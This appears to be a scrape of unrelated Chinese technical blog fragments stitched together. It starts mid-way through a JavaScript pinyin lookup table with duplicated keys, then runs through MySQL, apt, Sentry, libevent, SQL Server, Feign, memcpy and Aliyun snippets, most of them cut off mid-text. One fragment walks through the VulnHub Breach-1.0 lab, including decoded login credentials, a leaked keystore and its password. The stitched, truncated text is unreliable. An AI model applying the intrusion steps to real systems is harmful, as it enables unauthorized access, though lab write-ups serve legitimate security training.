ZZRPYMTNGXZQBYXNBUFNQKRJQZMJEGRZGYCLKXZDSKKNSXKCLJSPJYYZLQQJYBZSSQLLLKJXTBKTYLCCDDBLSPPFYLGYDTZJYQGGKQTTFZXBDKTYYHYBBFYTYYBCLPDYTGDHRYRNJSPTCSNYJQHKLLLZSLYDXXWBCJQSPXBPJZJCJDZFFXXBRMLAZHCSNDLBJDSZBLPRZTSWSBXBCLLXXLZDJZSJPYLYXXYFTFFFBHJJXGBYXJPMMMPSSJZJMTLYZJXSWXTYLEDQPJMYGQZJGDJLQJWJQLLSJGJGYGMSCLJJXDTYGJQJQJCJZCJGDZZSXQGSJGGCXHQXSNQLZZBXHSGZXCXYLJXYXYYDFQQJHJFXDHCTXJYRXYSQTJXYEFYYSSYYJXNCYZXFXMSYSZXYYSCHSHXZZZGZZZGFJDLTYLNPZGYJYZYYQZPBXQBDZTZCZYXXYHHSQXSHDHGQHJHGYWSZTMZMLHYXGEBTYLZKQWYTJZRCLEKYSTDBCYKQQSAYXCJXWWGSBHJYZYDHCSJKQCXSWXFLTYNYZPZCCZJQTZWJQDZZZQZLJJXLSBHPYXXPSXSHHEZTXFPTLQYZZXHYTXNCFZYYHXGNXMYWXTZSJPTHHGYMXMXQZXTSBCZYJYXXTYYZYPCQLMMSZMJZZLLZXGXZAAJZYXJMZXWDXZSXZDZXLEYJJZQBHZWZZZQTZPSXZTDSXJJJZNYAZPHXYYSRNQDTHZHYYKYJHDZXZLSWCLYBZYECWCYCRYLCXNHZYDZYDYJDFRJJHTRSQTXYXJRJHOJYNXELXSFSFJZGHPZSXZSZDZCQZBYYKLSGSJHCZSHDGQGXYZGXCHXZJWYQWGYHKSSEQZZNDZFKWYSSTCLZSTSYMCDHJXXYWEYXCZAYDMPXMDSXYBSQMJMZJMTZQLPJYQZCGQHXJHHLXXHLHDLDJQCLDWBSXFZZYYSCHTYTYYBHECXHYKGJPXHHYZJFXHWHBDZFYZBCAPNPGNYDMSXHMMMMAMYNBYJTMPXYYMCTHJBZYFCGTYHWPHFTWZZEZSBZEGPFMTSKFTYCMHFLLHGPZJXZJGZJYXZSBBQSCZZLZCCSTPGXMJSFTCCZJZDJXCYBZLFCJSYZFGSZLYBCWZZBYZDZYPSWYJZXZBDSYUXLZZBZFYGCZXBZHZFTPBGZGEJBSTGKDMFHYZZJHZLLZZGJQZLSFDJSSCBZGPDLFZFZSZYZYZSYGCXSNXXCHCZXTZZLJFZGQSQYXZJQDCCZTQCDXZJYQJQCHXZTDLGSCXZSYQJQTZWLQDQZTQCHQQJZYEZZZPBWKDJFCJPZTYPQYQTTYNLMBDKTJZPQZQZZFPZSBNJLGYJDXJDZZKZGQKXDLPZJTCJDQBXDJQJSTCKNXBXZMSLYJCQMTJQWWCJQNJNLLLHJCWQTBZQYDZCZPZZDZYDDCYZZZCCJTTJFZDPRRTZTJDCQTQZDTJNPLZBCLLCTZSXKJZQZPZLBZRBTJDCXFCZDBCCJJLTQQPLDCGZDBBZJCQDCJWYNLLZYZCCDWLLXWZLXRXNTQQCZXKQLSGDFQTDDGLRLAJJTKUYMKQLLTZYTDYYCZGJWYXDXFRSKSTQTENQMRKQZHHQKDLDAZFKYPBGGPZREBZZYKZZSPEGJXGYKQZZZSLYSYYYZWFQZYLZZLZHWCHKYPQGNPGBLPLRRJYXCCSYYHSFZFYBZYYTGZXYLXCZWXXZJZBLFFLGSKHYJZEYJHLPLLLLCZGXDRZELRHGKLZZYHZLYQSZZJZQLJZFLNBHGWLCZCFJYSPYXZLZLXGCCPZBLLCYBBBBUBBCBPCRNNZCZYRBFSRLDCGQYYQXYGMQZWTZYTYJXYFWTEHZZJYWLCCNTZYJJZDEDPZDZTSYQJHDYMBJNYJZLXTSSTPHNDJXXBYXQTZQDDTJTDYYTGWSCSZQFLSHLGLBCZPHDLYZJYCKWTYTYLBNYTSDSYCCTYSZYYEBHEXHQDTWNYGYCLXTSZYSTQMYGZAZCCSZZDSLZCLZRQXYYELJSBYMXSXZTEMBBLLYYLLYTDQYSHYMRQWKFKBFXNXSBYCHXBWJYHTQBPBSBWDZYLKGZSKYHXQZJXHXJXGNLJKZLYYCDXLFYFGHLJGJYBXQLYBXQPQGZTZPLNCYPXDJYQYDYMRBESJYYHKXXSTMXRCZZYWXYQYBMCLLYZHQYZWQXDBXBZWZMSLPDMYSKFMZKLZCYQYCZLQXFZZYDQZPZYGYJYZMZXDZFYFYTTQTZHGSPCZMLCCYTZXJCYTJMKSLPZHYSNZLLYTPZCTZZCKTXDHXXTQCYFKSMQCCYYAZHTJPCYLZLYJBJXTPNYLJYYNRXSYLMMNXJSMYBCSYSYLZYLXJJQYLDZLPQBFZZBLFNDXQKCZFYWHGQMRDSXYCYTXNQQJZYYPFZXDYZFPRXEJDGYQBXRCNFYYQPGHYJDYZXGRHTKYLNWDZNTSMPKLBTHBPYSZBZTJZSZZJTYYXZPHSSZZBZCZPTQFZMYFLYPYBBJQXZMXXDJMTSYSKKBJZXHJCKLPSMKYJZCXTMLJYXRZZQSLXXQPYZXMKYXXXJCLJPRMYYGADYSKQLSNDHYZKQXZYZTCGHZTLMLWZYBWSYCTBHJHJFCWZTXWYTKZLXQSHLYJZJXTMPLPYCGLTBZZTLZJCYJGDTCLKLPLLQPJMZPAPXYZLKKTKDZCZZBNZDYDYQZJYJGMCTXLTGXSZLMLHBGLKFWNWZHDXUHLFMKYSLGXDTWWFRJEJZTZHYDXYKSHWFZCQSHKTMQQHTZHYMJDJSKHXZJZBZZXYMPAGQMSTPXLSKLZYNWRTSQLSZBPSPSGZWYHTLKSSSWHZZLYYTNXJGMJSZSUFWNLSOZTXGXLSAMMLBWLDSZYLAKQCQCTMYCFJBSLXCLZZCLXXKSBZQCLHJPSQPLSXXCKSLNHPSFQQYTXYJZLQLDXZQJZDYYDJNZPTUZDSKJFSLJHYLZSQZLBTXYDGTQFDBYAZXDZHZJNHHQBYKNXJJQCZMLLJZKSPLDYCLBBLXKLELXJLBQYCXJXGCNLCQPLZLZYJTZLJGYZDZPLTQCSXFDMNYCXGBTJDCZNBGBQYQJWGKFHTNPYQZQGBKPBBYZMTJDYTBLSQMPSXTBNPDXKLEMYYCJYNZCTLDYKZZXDDXHQSHDGMZSJYCCTAYRZLPYLTLKXSLZCGGEXCLFXLKJRTLQJAQZNCMBYDKKCXGLCZJZXJHPTDJJMZQYKQSECQZDSHHADMLZFMMZBGNTJNNLGBYJBRBTMLBYJDZXLCJLPLDLPCQDHLXZLYCBLCXZZJADJLNZMMSSSMYBHBSQKBHRSXXJMXSDZNZPXLGBRHWGGFCXGMSKLLTSJYYCQLTSKYWYYHYWXBXQYWPYWYKQLSQPTNTKHQCWDQKTWPXXHCPTHTWUMSSYHBWCRWXHJMKMZNGWTMLKFGHKJYLSYYCXWHYECLQHKQHTTQKHFZLDXQWYZYYDESBPKYRZPJFYYZJCEQDZZDLATZBBFJLLCXDLMJSSXEGYGSJQXCWBXSSZPDYZCXDNYXPPZYDLYJCZPLTXLSXYZYRXCYYYDYLWWNZSAHJSYQYHGYWWAXTJZDAXYSRLTDPSSYYFNEJDXYZHLXLLLZQZSJNYQYQQXYJGHZGZCYJCHZLYCDSHWSHJZYJXCLLNXZJJYYXNFXMWFPYLCYLLABWDDHWDXJMCXZTZPMLQZHSFHZYNZTLLDYWLSLXHYMMYLMBWWKYXYADTXYLLDJPYBPWUXJMWMLLSAFDLLYFLBHHHBQQLTZJCQJLDJTFFKMMMBYTHYGDCQRDDWRQJXNBYSNWZDBYYTBJHPYBYTTJXAAHGQDQTMYSTQXKBTZPKJLZRBEQQSSMJJBDJOTGTBXPGBKTLHQXJJJCTHXQDWJLWRFWQGWSHCKRYSWGFTGYGBXSDWDWRFHWYTJJXXXJYZYSLPYYYPAYXHYDQKXSHXYXGSKQHYWFDDDPPLCJLQQEEWXKSYYKDYPLTJTHKJLTCYYHHJTTPLTZZCDLTHQKZXQYSTEEYWYYZYXXYYSTTJKLLPZMCYHQGXYHSRMBXPLLNQYDQHXSXXWGDQBSHYLLPJJJTHYJKYPPTHYYKTYEZYENMDSHLCRPQFDGFXZPSFTLJXXJBSWYYSKSFLXLPPLBBBLBSFXFYZBSJSSYLPBBFFFFSSCJDSTZSXZRYYSYFFSYZYZBJTBCTSBSDHRTJJBYTCXYJEYLXCBNEBJDSYXYKGSJZBXBYTFZWGENYHHTHZHHXFWGCSTBGXKLSXYWMTMBYXJSTZSCDYQRCYTWXZFHMYMCXLZNSDJTTTXRYCFYJSBSDYERXJLJXBBDEYNJGHXGCKGSCYMBLXJMSZNSKGXFBNBPTHFJAAFXYXFPXMYPQDTZCXZZPXRSYWZDLYBBKTYQPQJPZYPZJZNJPZJLZZFYSBTTSLMPTZRTDXQSJEHBZYLZDHLJSQMLHTXTJECXSLZZSPKTLZKQQYFSYGYWPCPQFHQHYTQXZKRSGTTSQCZLPTXCDYYZXSQZSLXLZMYCPCQBZYXHBSXLZDLTCDXTYLZJYYZPZYZLTXJSJXHLPMYTXCQRBLZSSFJZZTNJYTXMYJHLHPPLCYXQJQQKZZSCPZKSWALQSBLCCZJSXGWWWYGYKTJBBZTDKHXHKGTGPBKQYSLPXPJCKBMLLXDZSTBKLGGQKQLSBKKTFXRMDKBFTPZFRTBBRFERQGXYJPZSSTLBZTPSZQZSJDHLJQLZBPMSMMSXLQQNHKNBLRDDNXXDHDDJCYYGYLXGZLXSYGMQQGKHBPMXYXLYTQWLWGCPBMQXCYZYDRJBHTDJYHQSHTMJSBYPLWHLZFFNYPMHXXHPLTBQPFBJWQDBYGPNZTPFZJGSDDTQSHZEAWZZYLLTYYBWJKXXGHLFKXDJTMSZSQYNZGGSWQSPHTLSSKMCLZXYSZQZXNCJDQGZDLFNYKLJCJLLZLMZZNHYDSSHTHZZLZZBBHQZWWYCRZHLYQQJBEYFXXXWHSRXWQHWPSLMSSKZTTYGYQQWRSLALHMJTQJSMXQBJJZJXZYZKXBYQXBJXSHZTSFJLXMXZXFGHKZSZGGYLCLSARJYHSLLLMZXELGLXYDJYTLFBHBPNLYZFBBHPTGJKWETZHKJJXZXXGLLJLSTGSHJJYQLQZFKCGNNDJSSZFDBCTWWSEQFHQJBSAQTGYPQLBXBMMYWXGSLZHGLZGQYFLZBYFZJFRYSFMBYZHQGFWZSYFYJJPHZBYYZFFWODGRLMFTWLBZGYCQXCDJYGZYYYYTYTYDWEGAZYHXJLZYYHLRMGRXXZCLHNELJJTJTPWJYBJJBXJJTJTEEKHWSLJPLPSFYZPQQBDLQJJTYYQLYZKDKSQJYYQZLDQTGJQYZJSUCMRYQTHTEJMFCTYHYPKMHYZWJDQFHYYXWSHCTXRLJHQXHCCYYYJLTKTTYTMXGTCJTZAYYOCZLYLBSZYWJYTSJYHBYSHFJLYGJXXTMZYYLTXXYPZLXYJZYZYYPNHMYMDYYLBLHLSYYQQLLNJJYMSOYQBZGDLYXYLCQYXTSZEGXHZGLHWBLJHEYXTWQMAKBPQCGYSHHEGQCMWYYWLJYJHYYZLLJJYLHZYHMGSLJLJXCJJYCLYCJPCPZJZJMMYLCQLNQLJQJSXYJMLSZLJQLYCMMHCFMMFPQQMFYLQMCFFQMMMMHMZNFHHJGTTHHKHSLNCHHYQDXTMMQDCYZYXYQMYQYLTDCYYYZAZZCYMZYDLZFFFMMYCQZWZZMABTBYZTDMNZZGGDFTYPCGQYTTSSFFWFDTZQSSYSTWXJHXYTSXXYLBYQHWWKXHZXWZNNZZJZJJQJCCCHYYXBZXZCYZTLLCQXYNJYCYYCYNZZQYYYEWYCZDCJYCCHYJLBTZYYCQWMPWPYMLGKDLDLGKQQBGYCHJXY"; //此处收录了375个多音字 var oMultiDiff={"19969":"DZ","19975":"WM","19988":"QJ","20048":"YL","20056":"SC","20060":"NM","20094":"QG","20127":"QJ","20167":"QC","20193":"YG","20250":"KH","20256":"ZC","20282":"SC","20285":"QJG","20291":"TD","20314":"YD","20340":"NE","20375":"TD","20389":"YJ","20391":"CZ","20415":"PB","20446":"YS","20447":"SQ","20504":"TC","20608":"KG","20854":"QJ","20857":"ZC","20911":"PF","20504":"TC","20608":"KG","20854":"QJ","20857":"ZC","20911":"PF","20985":"AW","21032":"PB","21048":"XQ","21049":"SC","21089":"YS","21119":"JC","21242":"SB","21273":"SC","21305":"YP","21306":"QO","21330":"ZC","21333":"SDC","21345":"QK","21378":"CA","21397":"SC","21414":"XS","21442":"SC","21477":"JG","21480":"TD","21484":"ZS","21494":"YX","21505":"YX","21512":"HG","21523":"XH","21537":"PB","21542":"PF","21549":"KH","21571":"E","21574":"DA","21588":"TD","21589":"O","21618":"ZC","21621":"KHA","21632":"ZJ","21654":"KG","21679":"LKG","21683":"KH","21710":"A","21719":"YH","21734":"WOE","21769":"A","21780":"WN","21804":"XH","21834":"A","21899":"ZD","21903":"RN","21908":"WO","21939":"ZC","21956":"SA","21964":"YA","21970":"TD","22003":"A","22031":"JG","22040":"XS","22060":"ZC","22066":"ZC","22079":"MH","22129":"XJ","22179":"XA","22237":"NJ","22244":"TD","22280":"JQ","22300":"YH","22313":"XW","22331":"YQ","22343":"YJ","22351":"PH","22395":"DC","22412":"TD","22484":"PB","22500":"PB","22534":"ZD","22549":"DH","22561":"PB","22612":"TD","22771":"KQ","22831":"HB","22841":"JG","22855":"QJ","22865":"XQ","23013":"ML","23081":"WM","23487":"SX","23558":"QJ","23561":"YW","23586":"YW","23614":"YW","23615":"SN","23631":"PB","23646":"ZS","23663":"ZT","23673":"YG","23762":"TD","23769":"ZS","23780":"QJ","23884":"QK","24055":"XH","24113":"DC","24162":"ZC","24191":"GA","24273":"QJ","24324":"NL","24377":"TD","24378":"QJ","24439":"PF","24554":"ZS","24683":"TD","24694":"WE","24733":"LK","24925":"TN","25094":"ZG","25100":"XQ","25103":"XH","25153":"PB","25170":"PB","25179":"KG","25203":"PB","25240":"ZS","25282":"FB","25303":"NA","25324":"KG","25341":"ZY","25373":"WZ","25375":"XJ","25384":"A","25457":"A","25528":"SD","25530":"SC","25552":"TD","25774":"ZC","25874":"ZC","26044":"YW","26080":"WM","26292":"PB","26333":"PB","26355":"ZY","26366":"CZ","26397":"ZC","26399":"QJ","26415":"ZS","26451":"SB","26526":"ZC","26552":"JG","26561":"TD","26588":"JG","26597":"CZ","26629":"ZS","26638":"YL","26646":"XQ","26653":"KG","26657":"XJ","26727":"HG","26894":"ZC","26937":"ZS","26946":"ZC","26999":"KJ","27099":"KJ","27449":"YQ","27481":"XS","27542":"ZS","27663":"ZS","27748":"TS","27784":"SC","27788":"ZD","27795":"TD","27812":"O","27850":"PB","27852":"MB","27895":"SL","27898":"PL","27973":"QJ","27981":"KH","27986":"HX","27994":"XJ","28044":"YC","28065":"WG","28177":"SM","28267":"QJ","28291":"KH","28337":"ZQ","28463":"TL","28548":"DC","28601":"TD","28689":"PB","28805":"JG","28820":"QG","28846":"PB","28952":"TD","28975":"ZC","29100":"A","29325":"QJ","29575":"SL","29602":"FB","30010":"TD","30044":"CX","30058":"PF","30091":"YSP","30111":"YN","30229":"XJ","30427":"SC","30465":"SX","30631":"YQ","30655":"QJ","30684":"QJG","30707":"SD","30729":"XH","30796":"LG","30917":"PB","31074":"NM","31085":"JZ","31109":"SC","31181":"ZC","31192":"MLB","31293":"JQ","31400":"YX","31584":"YJ","31896":"ZN","31909":"ZY","31995":"XJ","32321":"PF","32327":"ZY","32418":"HG","32420":"XQ","32421":"HG","32438":"LG","32473":"GJ","32488":"TD","32521":"QJ","32527":"PB","32562":"ZSQ","32564":"JZ","32735":"ZD","32793":"PB","33071":"PF","33098":"XL","33100":"YA","33152":"PB","33261":"CX","33324":"BP","33333":"TD","33406":"YA","33426":"WM","33432":"PB","33445":"JG","33486":"ZN","33493":"TS","33507":"QJ","33540":"QJ","33544":"ZC","33564":"XQ","33617":"YT","33632":"QJ","33636":"XH","33637":"YX","33694":"WG","33705":"PF","33728":"YW","33882":"SR","34067":"WM","34074":"YW","34121":"QJ","34255":"ZC","34259":"XL","34425":"JH","34430":"XH","34485":"KH","34503":"YS","34532":"HG","34552":"XS","34558":"YE","34593":"ZL","34660":"YQ","34892":"XH","34928":"SC","34999":"QJ","35048":"PB","35059":"SC","35098":"ZC","35203":"TQ","35265":"JX","35299":"JX","35782":"SZ","35828":"YS","35830":"E","35843":"TD","35895":"YG","35977":"MH","36158":"JG","36228":"QJ","36426":"XQ","36466":"DC","36710":"JC","36711":"ZYG","36767":"PB","36866":"SK","36951":"YW","37034":"YX","37063":"XH","37218":"ZC","37325":"ZC","38063":"PB","38079":"TD","38085":"QY","38107":"DC","38116":"TD","38123":"YD","38224":"HG","38241":"XTC","38271":"ZC","38415":"YE","38426":"KH","38461":"YD","38463":"AE","38466":"PB","38477":"XJ","38518":"YT","38551":"WK","38585":"ZC","38704":"XS","38739":"LJ","38761":"GJ","38808":"SQ","39048":"JG","39049":"XJ","39052":"HG","39076":"CZ","39271":"XT","39534":"TD","39552":"TD","39584":"PB","39647":"SB","39730":"LG","39748":"TPB","40109":"ZQ","40479":"ND","40516":"HG","40536":"HG","40583":"QJ","40765":"YQ","40784":"QJ","40840":"YK","40863":"QJG"}; //参数,中文字符串 //返回值:拼音首字母串数组 function makePy(str) { if (typeof(str) != "string") throw new Error(-1, "函数makePy需要字符串类型参数!"); var arrResult = new Array(); //保存中间结果的数组 for (var i = 0, len = str.length; i < len; i++) { //获得unicode码 var ch = str.charAt(i); //检查该unicode码是否在处理范围之内,在则返回该码对映汉字的拼音首字母,不在则调用其它函数处理 arrResult.push(checkCh(ch)); } //处理arrResult,返回所有可能的拼音首字母串数组 return mkRslt(arrResult); } function checkCh(ch) { var uni = ch.charCodeAt(0); //如果不在汉字处理范围之内,返回原字符,也可以调用自己的处理函数 if (uni > 40869 || uni < 19968) return ch; //dealWithOthers(ch); //检查是否是多音字,是按多音字处理,不是就直接在strChineseFirstPY字符串中找对应的首字母 return (oMultiDiff[uni] ?

MySQL优化篇:SHOW语法

文章目录 1、简介2、语法总结2.1 常用命令2.2 show variables命令2.3 show index 命令2.4 show status命令 1、简介 show命令可以提供关于数据库、表、列,或者关于服务器的状态信息。 2、语法总结 2.1 常用命令 **1)显示mysql中所有数据库的名称 show databases; 2)查看mysql用户的使用权限 show grants for user_name; 3)显示create database语句是否能够创建指定的数据库,并可以查看创建库语句的SQL信息 show create database database_name; 4)显示create table语句是否能够创建指定的数据表,并可以查看到表创建语句的SQL信息 show create table table_name; 5)显示安装以后可用的存储引擎和默认引擎 show engines; 6)显示最后一个执行的语句所产生的错误、警告和通知 show warnings; 7)只显示最后一个执行语句所产生的的错误 show errors; 8)查看所有的存储过程 show procedure status; 9)查看某个存储过程的内容 show create procedure 存储过程名称; 10)查看已经创建的视图,创建时的语句 show create view view_name 11)显示当前数据库中所有表的名称 show tables; show tables from database_name; 12)显示表中列名称 show columns from database_name.

kali渗透综合靶机(十五)--Breach-1.0靶机

一、靶机下载 下载链接:https://download.vulnhub.com/breach/Breach-1.0.zip 二、Breach-1.0靶机搭建 将下载好的靶机环境,用VMware导入即可使用,文件->打开 导入到合适位置即可,默认是C盘,成功导入虚拟机之后,打开即可 三、攻击过程 VM虚机配置有静态IP地址(192.168.110.140),需要将虚拟机网卡设置为host-only方式组网。 kali IP:192.168.110.5 靶机IP:192.168.110.140 1、端口扫描 因IP地址固定,直接端口扫描 发现端口几乎全开放了,显然是有问题,虚拟机对端口扫描做了一些防护措施,直接访问80端口,进入web首页:http://192.168.110.140/ 查看页面源码发现一串疑似base64加密的字符串 将其复制到Burpsuite Decoder进行base64解码,解密后发现还是base64编码,继续base64解码,得到:pgibbons:damnitfeel g o o d t o b e a g a n g goodtobeagang goodtobeagangta 发现图中的图片点击后就会跳转,跳转后如下图 查看页面源码,发现如下提示 尝试发现页面是否有有用的信息,发现点击下图,跳转到impresscms登录界面 尝试使用之前base64解密出来的疑似用户名密码的字符串,成功登录,用户名/密码:pgibbons/damnitfeel g o o d t o b e a g a n g goodtobeagang goodtobeagangta 发现cms大致版本信息,搜索引擎搜索是否有相关的漏洞 exploit-db.com查找impress cms漏洞:发现ImpressCMS 1.3.9 SQL注入漏洞, /modules/profile/admin/field.php,访问该页面一直302跳转,无法进行注入 发现收件箱Inbox显示有3封邮件,依次打开看 第三个邮件发现有一个文件被保存在192.168.110.140/.keystore 访问http://192.168.110.140/.keystore立马下载文件,下载包含SSL证书的密钥库keystore文件,keystore是存储公私密钥的一种文件格式 点击View Account菜单进入界面,再依次点击页面的Content,会弹出一行链接Content SSL implementation test capture,点击链接 点击完上图的链接,跳转到如下界面,可以看到一个名为:_SSL_test_phase1.pcap的Wireshark流量包文件,下载 用wireshark打开下载的pacp包,发现是包的内容经过SSL加密 查看keystore这个密匙库里面的所有证书 密码为tomcat

解决apt-get update时E: Unable to lock directory /var/lib/apt/lists的问题

在sudo apt-get update时,报E: Could not get lock /var/lib/apt/lists/lock - open (11: Resource temporarily unavailable)不能获得锁定,需解除原有锁定。 示例如下: $ sudo apt-get update E: Could not get lock /var/lib/apt/lists/lock - open (11: Resource temporarily unavailable) E: Unable to lock directory /var/lib/apt/lists/ 在/var/lib/apt/lists下有一个残留的lock文件是这个问题的原因。 $ sudo rm /var/lib/apt/lists/lock 注意: 在执行此命令解决问题的时候,的确没有apt-get在执行安装/更新等操作。 如果无法完成,请检查文件和权限后使用 sudo rm -f /var/lib/apt/lists/lock 删除。

ubuntu18.04 docker部署sentry服务

一、介绍 Sentry 是一个开源的实时错误追踪系统,可以帮助开发者实时监控并修复异常问题。它主要专注于持续集成、提高效率并且提升用户体验。Sentry 分为服务端和客户端 SDK,前者可以直接使用它家提供的在线服务,也可以本地自行搭建;后者提供了对多种主流语言和框架的支持,包括 React、Angular、Node、Django、RoR、PHP、Laravel、Android、.NET、JAVA 等。同时它可提供了和其他流行服务集成的方案,例如 GitHub、GitLab、bitbuck、heroku、slack、Trello 等。目前公司的项目也都在逐步应用上 Sentry 进行错误日志管理 二、环境准备 添加豆瓣的pip源 mkdir .pip tee ~/.pip/pip.conf <<-'EOF' [install] use-mirrors = true mirrors = http://b.pypi.python.org [global] index-url = http://pypi.douban.com/simple/ trusted-host = pypi.douban.com EOF 添加docker镜像源 sudo mkdir -p /etc/docker sudo tee /etc/docker/daemon.json <<-'EOF' { "registry-mirrors": [ "https://1nj0zren.mirror.aliyuncs.com", "https://docker.mirrors.ustc.edu.cn", "http://f1361db2.m.daocloud.io", "https://registry.docker-cn.com" ] } EOF sudo service docker restart 三、根据官方安装docket-compose sudo curl -L "https://github.com/docker/compose/releases/download/1.25.4/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose sudo chmod +x /usr/local/bin/docker-compose sudo ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose $ docker-compose --version docker-compose version 1.

【libevent 】libevent 多线程实现高并发

当你看到这篇文章时,想必你对libevent已经有了足够的了解,笔者在此就不多做描述了,直接进入正题。 1.起因 最近在做Redis中间件,目标实现集群管理、分布式数据处理、高性能。由于在某些情况下,单个节点的Redis性能可能无法满足需求,并且单个机器的内存大小是受限制的。如果采用中间件的方式管理多个Redis实例,不仅可以避免单点机器内存不够用的情况,也能使性能得到大幅提升。经过Redis中间件数据分片后,各个Redis实例可以同时处理读写请求,所以比单线程的Redis实例要快很多。在这里,中间件起到数据转发及管理的功能,特别是数据转发这一块,对中间件的处理能力要求比较高,在高并发情况下也能保证数据正常处理,不能影响业务使用。 2.实现 要实现高性能的服务端网络程序,基本上是异步处理网络IO+多线程。关于异步处理网络IO,网络上现成的库有很多,如果你喜欢动手,自己封装也行。不过我还是建议大家使用已经造好的、成熟稳定的轮子。在这里我比较推荐使用libevent,这个库相对来说比较成熟,使用起来也简单。 3.架构图 在这个架构模型中,我们开启了N个线程,每个线程中包含一个event_base对象,他们都是在自己的线程中工作。何时派发工作给这些工作线程,则由一个专门的AcceptThread线程来完成。这个线程负责接受客户端的连接,接受成功后会将该连接分配给工作线程。在这里我们采用均衡分配的方式,让每个线程处理的连接数是趋于相等的。 4.代码流程 首先要让libevent支持多线程,需要加上一段代码,这段代码只需要执行一次 #ifdef WIN32 evthread_use_windows_threads(); #else evthread_use_pthreads(); #endif 第一步:创建一个WorkThread线程池,每个线程对象中包含一个event_base对象,由于没有事件的话event_dispatch函数会退出,我们可以在里面注册一个永久的定时器事件,这样每个工作进程就不会退出。这个时候的状态是:等待外部给这个工作线程添加事件。 第二步:主线程监听端口,接受客户端连接。每到来一个连接就形成一个ConnectContext的结构,然后分配到一个工作线程去完成读写操作。这个过程不需要我们去加锁,libevent内部已经完成了这个操作。我们只需要在AcceptThread中派发任务给工作线程就可以了。 第三步:没了,按照这个架构,大部分代码就是写处理数据的代码了。 原文链接:https://blog.csdn.net/loydia/article/details/78683558 libevent框架: 1、创建 event_base 2、创建 事件event -->常规事件/带缓冲的事件 3、将事件 添加到base上 4、循环监听事件满足 5、释放 base 1、struct event_base *base = event_base_new(); 2、event_new()/buffevent_socket_new(); 3、event_add(struct event_base *base); 4、event_base_disptch(base); 5、event_base_free(base);

SQL Server连接不到服务器的解决办法

错误如下 解决办法 1.在开始菜单里面打开SQL Server2017配置管理器 2.打开SQL Server网络配置中的MSSQLSERVER的协议,选择TCP/IP协议,确保启动 3.双击打开TCP/IP,选择IP地址,把IP3的IP地址改为自己的电脑地址(或者改为127.0.0.1),在TCP端口添加1433,选择启动 4.鼠标滑到TCP/IP属性的底部,在IPAII的TCP端口输入1433,点击确定 5.在SQL Server服务中重新启动SQL Server 6.最后关闭,重新启动Microsoft SQL Server Management Studio 2017,重新连接 7.连接成功

为什么引入@FeignClient注解接口的同时引入其实现类 通过@Autowired会注入FeignClient实现的代理类?

前言 最近公司在进行项目的微服务升级采用的是Spring Cloud,每个拆分的服务大概分为两个模块 xxx-api 模块用于提供此服务对外的调用接口,接口上都标注了@FeignClient注解其他项目直接引用即可使用,xxx-service 模块是针对 xxx-api 的实现除了实现Service层的接口外还需要提供对应的Controller作为真正对外响应的HTTP服务。 编写的Controller非常简单,通过@AutoWired自动注入对应的Service层接口即可,但是在实际开发中我们发现一个奇怪的问题,编写的Controller自动注入的居然是FeignClient生成的代理接口而不是我们实现的Service层接口。这到底是为什么了?而且同时存在两个相同类型的Bean在Spring容器中在注入时却没有报错这又是为什么? 分析 针对这个问题实际来说是有两个疑问的,1)为什么会优先注入 FeignClient 的接口代理类 2)为什么两个同类型的Bean 在自动注入时不会报错 这个要从起点说起,我们引入Feign的功能,首先要在启动类上注解 @EnableFeignClients,表示启动FeignClient功能 @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.TYPE) @Documented @Import(FeignClientsRegistrar.class) public @interface EnableFeignClients{ ... } 根据注解的源码,我们可以知道当启动Spring应用之后,在初始的过程中会调用 FeignClientsRegistrar 的逻辑 class FeignClientsRegistrar implements ImportBeanDefinitionRegistrar, ResourceLoaderAware, EnvironmentAware { ... @Override public void registerBeanDefinitions(AnnotationMetadata metadata, BeanDefinitionRegistry registry) { registerDefaultConfiguration(metadata, registry); //1) registerFeignClients(metadata, registry); //2) } ... } 实际在初始化时会执行 ImportBeanDefinitionRegistrar#registerBeanDefinitions 方法 1)注册 @EnableFeignClients#defaultConfiguration 配置的配置类到 Spring 容器中 2)根据 @EnableFeignClients 注册的包路径,扫描所有注解了 @FeignClient 的接口,调用 ImportBeanDefinitionRegistrar#registerFeignClient 将其注册到 Spring 容器中

memcpy函数

来自:百度百科 memcpy函数语法 函数原型 void *memcpy(void *destin, void *source, unsigned n); 参数 destin-- 指向用于存储复制内容的目标数组,类型强制转换为 void* 指针。 source-- 指向要复制的数据源,类型强制转换为 void* 指针。 n-- 要被复制的字节数。 返回值 该函数返回一个指向目标存储区destin的指针。 功能 从源source所指的内存地址的起始位置开始拷贝n个字节到目标destin所指的内存地址的起始位置中。 头文件 C语言:#include<string.h> C++:#include<cstring> 和strcpy的区别 1、复制的内容不同。strcpy只能复制字符串,而memcpy可以复制任意内容,例如字符数组、整型、结构体、类等。 2、复制的方法不同。strcpy不需要指定长度,它遇到被复制字符的串结束符"\0"才结束,所以容易溢出。memcpy则是根据其第3个参数决定复制的长度。 3、用途不同。通常在复制字符串时用strcpy,而需要复制其他类型数据时则一般用memcpy。

阿里云突发性实例与通用型实例区别

突发性实例 突发性能实例规格族 t5 规格族特点 处理器:2.5 GHz主频的Intel Xeon 处理器搭配DDR4内存多种处理器和内存配比可突然提速的vCPU,持续基本性能,受到vCPU积分的限制计算、内存和网络资源的平衡仅支持专有网络VPC适用场景: Web应用服务器轻负载应用、微服务开发测试压测服务应用 规格vCPU*内存(GiB)CPU积分/小时最大CPU积分余额平均基准CPU计算性能弹性网卡(包括一块主网卡)ecs.t5-lc2m1.nano10.5614410%1ecs.t5-lc1m1.small11.0614410%1ecs.t5-lc1m2.small12.0614410%1ecs.t5-lc1m2.large24.01228810%1ecs.t5-lc1m4.large28.01228810%1ecs.t5-c1m1.large22.01843215%1ecs.t5-c1m2.large24.01843215%1ecs.t5-c1m4.large28.01843215%1ecs.t5-c1m1.xlarge44.03686415%2ecs.t5-c1m2.xlarge48.03686415%2ecs.t5-c1m4.xlarge416.03686415%2ecs.t5-c1m1.2xlarge88.072172815%2ecs.t5-c1m2.2xlarge816.072172815%2ecs.t5-c1m4.2xlarge832.072172815%2ecs.t5-c1m1.4xlarge1616.0144172815%2ecs.t5-c1m2.4xlarge1632.0144172815%2 通用型实例 规格族特点 处理器与内存配比为1:4超高网络PPS收发包能力处理器:2.5 GHz主频的Intel Xeon Platinum 8163(Skylake),计算性能稳定实例网络性能与计算规格对应(规格越高网络性能强)适用场景: 